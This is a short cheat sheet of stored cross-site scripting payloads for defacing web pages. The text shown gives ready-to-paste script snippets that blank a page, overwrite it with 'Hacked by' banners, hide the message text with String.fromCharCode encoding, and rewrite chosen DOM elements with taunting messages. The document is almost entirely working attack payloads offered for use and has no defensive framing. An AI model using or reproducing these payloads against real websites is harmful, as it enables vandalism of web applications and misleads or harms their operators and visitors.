XSS Stored

{Change Background Color}

<body style="background-color:blue;">
____________________________________________________________________________________________________________________________
____________________________________________________________________________________________________________________________
{Change Background Image}

<style>
div {
background-image: url('http://www.deepeddy.net/img/deepeddyfish.gif');
}
</style>
____________________________________________________________________________________________________________________________
____________________________________________________________________________________________________________________________
{Blanking a Web Page}

Note: document.documentElement.innerHTML contains all HTML of a web page. Setting it to equal to an empty string ("") causes all HTML on that page to disappear.

<script>document.documentElement.innerHTML=""</script>
____________________________________________________________________________________________________________________________
____________________________________________________________________________________________________________________________
{Defacing a Web Page by Injecting HTML Code}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
<script>document.documentElement.innerHTML="<html><h1>Hacked by saTaoz</h1>What do you think of me now?</html>"</script>

Alternate scripts:

<script>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visibility:visible;><h1>HACKED BY TED</h1></div>";</script>

<script>document.body.innerHTML="<h1>Hacked by saTaoz</h1>";</script>
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
<script>document.documentElement.innerHTML=(String.fromCharCode(CharCode string goes here));</script>
Example :
<script>document.documentElement.innerHTML=(String.fromCharCode(72, 97, 99, 107, 101, 100, 32, 98, 121, 32, 115, 97, 84, 97, 111, 122));</script>
____________________________________________________________________________________________________________________________
____________________________________________________________________________________________________________________________
{Defacing a Web Page by Modifying the DOM and Injecting HTML Code}

<script> document.getElementById("pageName").innerHTML = "Stay away from our page!<p><h4>You are where you do not belong.</h4></p>";</script>

Example :
<script>document.getElementById("main_body").innerHTML = "<h1>Hacking is not a crime!</h1>";</script>
____________________________________________________________________________________________________________________________